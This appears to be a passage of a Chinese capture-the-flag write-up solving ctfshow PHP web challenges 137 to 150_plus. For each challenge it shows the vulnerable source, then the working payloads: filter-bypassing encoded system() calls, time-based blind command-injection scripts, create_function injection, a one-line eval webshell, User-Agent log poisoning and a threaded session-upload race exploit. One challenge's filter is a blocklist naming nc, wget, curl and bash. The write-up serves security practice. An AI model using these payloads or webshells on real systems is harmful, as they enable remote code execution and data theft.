用于执行外部程序; 不会输出结果到标准输出,而是将最后一行结果作为返回值返回; 如果传入第二个参数(数组),可以将所有输出保存到这个数组中; 第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。这题虽然有正则过滤,但是只是说实现了正则匹配则输出这一句话,并没有直接禁用
假设真的禁用了,方法如下
将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:
?c=ls|tee 1
虽然有正则过滤,但是只是说实现了正则匹配则输出这一句话,并没有直接禁用,进行重定向
?c=ls />2.txt
读取
?c=cat /f149_15_h3r3>3.txt
web137 10
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
在 PHP 中,call_user_func()函数的参数支持多种形式的回调,其中就包括数组形式[类名, 方法名]和字符串形式的 “类名::静态方法名”
通过 HTTP POST 传递数组参数时,不能直接写[“ctfshow”, “getFlag”](这会被视为字符串),而需要用 PHP 的数组参数命名规则,会自动解析成数组形式
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
#PHP 会将其解析为["ctfshow", "getFlag"]数组
//或者
ctfshow=ctfshow::getFlag
web138 10
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
禁用冒号,数组绕过
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139 10
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
基于时间盲注,在无回显的命令执行漏洞 中逐字符爆破敏感信息
列出根目录
import requests
import time
import string
str = string.ascii_letters + string.digits + '_~'
result = ""
for i in range(1, 10): # 行
key = 0
for j in range(1, 15): # 列
if key == 1:
break
for n in str:
# awk 'NR=={0}'逐行输出获取
# cut -c {1} 截取单个字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# print(payload)
url = "http://9525d4f8-5d4f-4472-9006-8dfeab401662.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '~':
key = 1
result += " "
print("Final result:", result)
bin dev etc f149_15_h3r3 home lib media mnt op
读取
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://9525d4f8-5d4f-4472-9006-8dfeab401662.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
web140 10
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
intval()函数的返回值必然是整数类型,与你传递的原始参数类型无关localeconv()返回一个包含本地化数字和货币格式信息的数组(例如小数点符号、千位分隔符等)current()返回数组中的当前元素(默认是数组的第一个元素)- PHP 的松散比较(==)会在比较不同类型的值时,自动将它们转换为相同类型后再比较,intval($code) 是整数类型,‘ctfshow’是字符串类型,所以字符串会自动转换成整数0,相应的只需要intval($code)为0就可以了
- PHP 中,当字符串以非数字开头(这里是 .)时,intval() 转换结果为 0
f1=current&f2=localeconv
另解
ntval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
payload1: system(system())---> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system('FLASE'),空指令,失败返回FLASE。
payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())---> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。
web141 10
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
v1,v2必须为数字,v3只包含非单词字符,取反绕过
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
利用phpstudy自带的PHP环境来运行脚本
将需要运行的脚本放到桌面(比较好找),在phpstudy中找到正在使用的PHP版本,记住他的路径
打开powershell,先切换到脚本所在的目录
cd C:\Users\你的用户名\Desktop
用PHPstudy中的php.exe完整路径运行脚本
& "D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" qufan.php

?v1=1&v3=%2B(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5);%2B&v2=1
->1+system('nl *')+1
%2B是 +:PHP 中的算术运算符,这里用于「强行拼接函数调用到数字运算中」(利用 PHP 弱类型,让 eval 能执行函数
web142 10
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
当访问这个 PHP 文件并传入v1参数时,代码开始执行,首先检查v1是否存在,然后将其转换为字符串,验证v1是否为数字或数字字符串,如果验证通过,计算出d的值,程序暂停d秒,最后输出flag.php的内容
?v1=0
web143 10
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
进行异或
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
生成文档xor_rce.txt,得到可用字符,构造命令
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
*的核心价值是利用其 “乘法运算符” 的身份和被允许的特性,在严格过滤下搭建一个语法合法的表达式框架,让藏在其中的恶意代码(异或构造的函数调用)能被 eval 顺利执行。
?v1=1&v2=2&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%00"^"%60%60%20%2a")?>*
#由于 ; 被ban了,使用?>代替
web144 10
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
v1必须是数字或数字字符串(如123、45.6、”7e8″),v3必须是长度为 1 的单个字符(任何字符均可,但只能有一个),v2必须全部由非单词字符组成(如*、(、)、^等,不能有字母、数字、下划线),三个参数拼接后通过eval()执行,输出表达式及其结果。取反
?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)&v3=-
web145 10
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
v3对特殊符号做了过滤,使用位或运算符|
类型转换:在 PHP 中,当数字和字符串进行位运算时,字符串会被转换为数字。如果字符串无法转换为数字,则会被当作 0 处理。
执行代码:这是最关键的一点。PHP 允许在表达式中执行函数,当解析 1|(…)|1 这样的表达式时,中间的 (…) 部分会被优先执行。
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)|&v2=1
或者利用 PHP 的三元运算符? :
- PHP 的三元运算符格式为:表达式1 ? 表达式2 : 表达式3,其逻辑是:
如果表达式1为真,则执行并返回表达式2的结果;
如果表达式1为假,则执行并返回表达式3的结果。
- 在拼接后的表达式1 ? (~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5) : 1中:
表达式1是1(PHP 中1为真值),因此会执行表达式2:(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5);表达式3是1,但因表达式1为真,不会被执行。
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5):&v2=1
web146 10
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
多禁用:,使用|或者等号和位运算符结合
全等运算符===:
在 PHP 中,A === B用于判断 A 和 B 是否 “类型和值都完全相等”。此处1 === …的作用是构建合法表达式结构,让中间的(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)被优先执行(函数调用的优先级高于===)。
逻辑或运算符||:
||的逻辑是 “只要左边为真,整体就为真;左边为假则判断右边”。此处|| 1的作用是:
无论1 === 函数执行结果是否为真,整个表达式最终都会返回true(因为右边的1是真值),确保eval不报错;左边的函数调用会被优先执行
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|
#或者
?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)||&v2=1
web147 10
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
过滤数字,小写字母和下划线
/i:大小写不敏感匹配 /s:点号元字符匹配所有字符,包含换行符。 /D:元字符美元符号仅仅匹配目标字符串的末尾
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。
create_functionPHP 内置函数,用于动态创建匿名函数,语法create_function(string $args, string $code);返回一个函数名(形如 \lambda_1),这个函数名是由 PHP 自动生成的,可以通过变量传入这个函数名并调用它。
payload
GET:
?show=}system('ls');//
POST:
ctf=\create_function
create_function 会生成一个函数:
function lambda_1() { }system("ls");// }
- } 是闭合前面的 {,// 是注释掉多余的 },这样就形成了一个合法的函数体。然后这个函数被立即执行,执行了 system(‘ls’),从而列出目录内容,进一步可以 cat flag 得到 flag。
- 反斜杠 \,这是为了绕过正则表达式(\create_function 不在 a-z0-9_ 范围内),从而触发 preg_match 失败,进入 if 分支
web148 10
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
无字母数字rce
爆破字典脚本:
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则
生成payload
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0e%0c%01%02"^"%60%60%21%28");
->system('nl *');
web149 10
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
前目录下只能存在 index.php,条件竞争或者写一句话木马
抓两个包
#GET
?ctf=shell.php
#POST
show=<?php @eval($_POST['cmd']); ?>
#GET
shell.php
#POST
cmd=system('ls /');

清空payload位置,无限重复,放两个包

web150 10
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
extract函数默认使用EXTR_OVERWRITE模式(覆盖已有变量)
extract函数的作用是将数组的键值对 “导入” 为当前作用域的变量(键名为变量名,键值为变量值)。当使用不当(如直接传入用户可控的$_GET/$_POST且未限制覆盖行为)时,会导致:
攻击者可通过输入参数覆盖程序中的已有变量(或创建新变量),篡改代码逻辑。
extract函数变量覆盖,满足isVip是true的条件限制,日志注入,$key有过滤字符,通过User-Agent传递木马信息
ua <?php eval($_POST[1])?>
get isVIP=TRUE
post ctf=/var/log/nginx/access.log&1=system('cat f*');
非预期解是session文件包含,exp
# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading
sessid = 'test'
data = {
"ctf": "/tmp/sess_test",
"cmd": 'system("cat flag.php");'
}
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while event.isSet():
res = session.post(
'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
data=data
)
if 'flag{' in res.text:
print(res.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == "__main__":
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()
web150_plus 10
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
多过滤log,不能日志写🐎
__autoload 自动加载函数:当代码中使用一个未定义的类时,会自动调用此函数,传入类名作为参数,并执行 $class()(将类名当作函数调用)。
?..CTFSHOW..=phpinfo → PHP 解析参数名 . 为 _ → 得到变量 $__CTFSHOW__ = “phpinfo”(extract 导入) → 检测 class_exists(“phpinfo”) → 触发 __autoload(“phpinfo”) → 执行 phpinfo()。
?..CTFSHOW..=phpinfo
参考文章:https://blog.csdn.net/Myon5/article/details/140464776#3%E3%80%81web126
